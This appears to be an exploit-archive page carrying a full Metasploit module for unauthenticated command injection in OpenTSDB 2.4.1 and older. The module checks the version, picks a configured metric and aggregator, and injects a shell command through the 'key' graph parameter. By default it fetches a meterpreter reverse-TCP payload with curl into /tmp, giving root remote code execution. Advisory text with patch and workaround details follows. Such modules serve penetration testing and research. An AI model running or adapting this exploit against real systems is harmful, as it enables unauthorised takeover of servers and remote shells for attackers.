Headline
OpenTSDB 2.4.1 Unauthenticated Command Injection
This Metasploit module exploits an unauthenticated command injection vulnerability in the key parameter in OpenTSDB through 2.4.1 in order to achieve unauthenticated remote code execution as the root user. The module first attempts to obtain the OpenTSDB version via the api. If the version is 2.4.1 or lower, the module performs additional checks to obtain the configured metrics and aggregators. It then randomly selects one metric and one aggregator and uses those to instruct the target server to plot a graph. As part of this request, the key parameter is set to the payload, which will then be executed by the target if the latter is vulnerable. This module has been successfully tested against OpenTSDB version 2.4.1.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'OpenTSDB 2.4.1 unauthenticated command injection', 'Description' => %q{ This module exploits an unauthenticated command injection vulnerability in the key parameter in OpenTSDB through 2.4.1 (CVE-2023-36812/CVE-2023-25826) in order to achieve unauthenticated remote code execution as the root user. The module first attempts to obtain the OpenTSDB version via the api. If the version is 2.4.1 or lower, the module performs additional checks to obtain the configured metrics and aggregators. It then randomly selects one metric and one aggregator and uses those to instruct the target server to plot a graph. As part of this request, the key parameter is set to the payload, which will then be executed by the target if the latter is vulnerable. This module has been successfully tested against OpenTSDB version 2.4.1. }, 'License' => MSF_LICENSE, 'Author' => [ 'Gal Goldstein', # discovery 'Daniel Abeles', # discovery 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['URL', 'https://github.com/OpenTSDB/opentsdb/security/advisories/GHSA-76f7-9v52-v2fw'], # security advisory ['CVE', '2023-36812'], # CVE linked in the official security advisory ['CVE', '2023-25826'] # CVE that seems to be a dupe of CVE-2023-36812 since it describes the same issue and references the PR that introduces the commits that are referenced in CVE-2023-36812 ], 'Platform' => 'linux', 'Arch' => 'ARCH_CMD', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', 'RPORT' => 4242, 'SRVPORT' => 8080, 'FETCH_COMMAND' => 'CURL', 'FETCH_FILENAME' => Rex::Text.rand_text_alpha(2..4), 'FETCH_WRITABLE_DIR' => '/tmp', 'FETCH_SRVPORT' => 8081 }, 'Targets' => [ [ 'Linux', {} ] ], 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => '2023-07-01', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'The base path to OpenTSDB', '/']), ] end def check # sanity check to see if the target is likely OpenTSDB res1 = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) unless res1 return CheckCode::Unknown('Connection failed.') end unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenTSDB') return CheckCode::Safe('Target is not an OpenTSDB application.') end # get the version via the api res2 = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'version') }) unless res2 return CheckCode::Unknown('Connection failed.') end unless res2.code == 200 && res2.body.include?('version') return CheckCode::Detected('Target may be OpenTSDB but the version could not be determined.') end begin parsed_res_body = JSON.parse(res2.body) rescue JSON::ParserError return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.') end unless parsed_res_body.is_a?(Hash) && parsed_res_body.key?('version') return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.') end version = parsed_res_body['version'] begin if Rex::Version.new(version) <= Rex::Version.new('2.4.1') return CheckCode::Appears("The target is OpenTSDB version #{version}") else return CheckCode::Safe("The target is OpenTSDB version #{version}") end rescue ArgumentError => e return CheckCode::Unknown("Failed to obtain a valid OpenTSDB version: #{e}") end end def select_metric # check if any metrics have been configured. if not, exploitation cannot work res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'suggest'), 'vars_get' => { 'type' => 'metrics' } }) unless res fail_with(Failure::Unknown, 'Connection failed.') end unless res.code == 200 fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured metrics") end begin metrics = JSON.parse(res.body) rescue JSON::ParserError fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain valid JSON.') end unless metrics.is_a?(Array) fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain a JSON array') end if metrics.empty? fail_with(Failure::NoTarget, 'Failed to identify any configured metrics. This makes exploitation impossible') end # select a random metric since any will do @metric = metrics.sample print_status("Identified #{metrics.length} configured metrics. Using metric #{@metric}") end def select_aggregator # check the configured aggregators and select one at random res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'aggregators') }) unless res fail_with(Failure::Unknown, 'Connection failed.') end unless res.code == 200 fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured aggregators") end begin aggregators = JSON.parse(res.body) rescue JSON::ParserError fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain valid JSON.') end unless aggregators.is_a?(Array) fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain a JSON array') end if aggregators.empty? fail_with(Failure::NoTarget, 'Failed to identify any configured aggregators. This makes exploitation impossible') end # select a random aggregator since any will do @aggregator = aggregators.sample print_status("Identified #{aggregators.length} configured aggregators. Using aggregator #{@aggregator}") end def execute_command(cmd, _opts = {}) # we need to percent encode the entire command. # however, the + character cannot be used and percent encoding does not help for it. so we need to change chmod +x with chmod 744 cmd = CGI.escape(cmd.gsub('chmod +x', 'chmod 744')) start_time = rand(20.year.ago..10.year.ago) # this should be a date far enough in the past to make sure we capture all possible data start_value = start_time.strftime('%Y/%m/%d-%H:%M:%S') end_time = rand(1.year.since..10.year.since) # this can be a date in the future to make sure we capture all possible data end_value = end_time.strftime('%Y/%m/%d-%H:%M:%S') get_vars = { 'start' => start_value, 'end' => end_value, 'm' => "#{@aggregator}:#{@metric}", 'o' => 'axis+x1y2', 'ylabel' => Rex::Text.rand_text_alphanumeric(8..12), 'y2label' => Rex::Text.rand_text_alphanumeric(8..12), 'yrange' => '[0:]', 'y2range' => '[0:]', 'key' => "%3Bsystem%20%22#{cmd}%22%20%22", 'wxh' => "#{rand(800..1600)}x#{rand(400..600)}", 'style' => 'linespoint' } exploit_uri = '?' get_vars.each do |key, value| exploit_uri += "#{key}=#{value}&" end exploit_uri += 'json' # using a raw request because cgi was leading to encoding issues send_request_raw({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'q' + exploit_uri) }, 0) # we don't have to wait for a reply here end def exploit select_metric select_aggregator print_status('Executing the payload') execute_command(payload.encoded) endend
Related news
OpenTSDB is a open source, distributed, scalable Time Series Database (TSDB). OpenTSDB is vulnerable to Remote Code Execution vulnerability by writing user-controlled input to Gnuplot configuration file and running Gnuplot with the generated configuration. This issue has been patched in commit `07c4641471c` and further refined in commit `fa88d3e4b`. These patches are available in the `2.4.2` release. Users are advised to upgrade. User unable to upgrade may disable Gunuplot via the config option`tsd.core.enable_ui = true` and remove the shell files `mygnuplot.bat` and `mygnuplot.sh`.
### Impact OpenTSDB is vulnerable to Remote Code Execution vulnerability by writing user-controlled input to Gnuplot configuration file and running Gnuplot with the generated configuration. ### Patches Patched in [07c4641471c6f5c2ab5aab615969e97211eb50d9](https://github.com/OpenTSDB/opentsdb/commit/07c4641471c6f5c2ab5aab615969e97211eb50d9) and further refined in https://github.com/OpenTSDB/opentsdb/commit/fa88d3e4b5369f9fb73da384fab0b23e246309ba ### Workarounds Disable Gunuplot via `tsd.core.enable_ui = true` and remove the shell files https://github.com/OpenTSDB/opentsdb/blob/master/src/mygnuplot.bat and https://github.com/OpenTSDB/opentsdb/blob/master/src/mygnuplot.sh.
Due to insufficient validation of parameters passed to the legacy HTTP query API, it is possible to inject crafted OS commands into multiple parameters and execute malicious code on the OpenTSDB host system. This exploit exists due to an incomplete fix that was made when this vulnerability was previously disclosed as CVE-2020-35476. Regex validation that was implemented to restrict allowed input to the query API does not work as intended, allowing crafted commands to bypass validation.
Due to insufficient validation of parameters passed to the legacy HTTP query API, it is possible to inject crafted OS commands into multiple parameters and execute malicious code on the OpenTSDB host system. This exploit exists due to an incomplete fix that was made when this vulnerability was previously disclosed as CVE-2020-35476. Regex validation that was implemented to restrict allowed input to the query API does not work as intended, allowing crafted commands to bypass validation.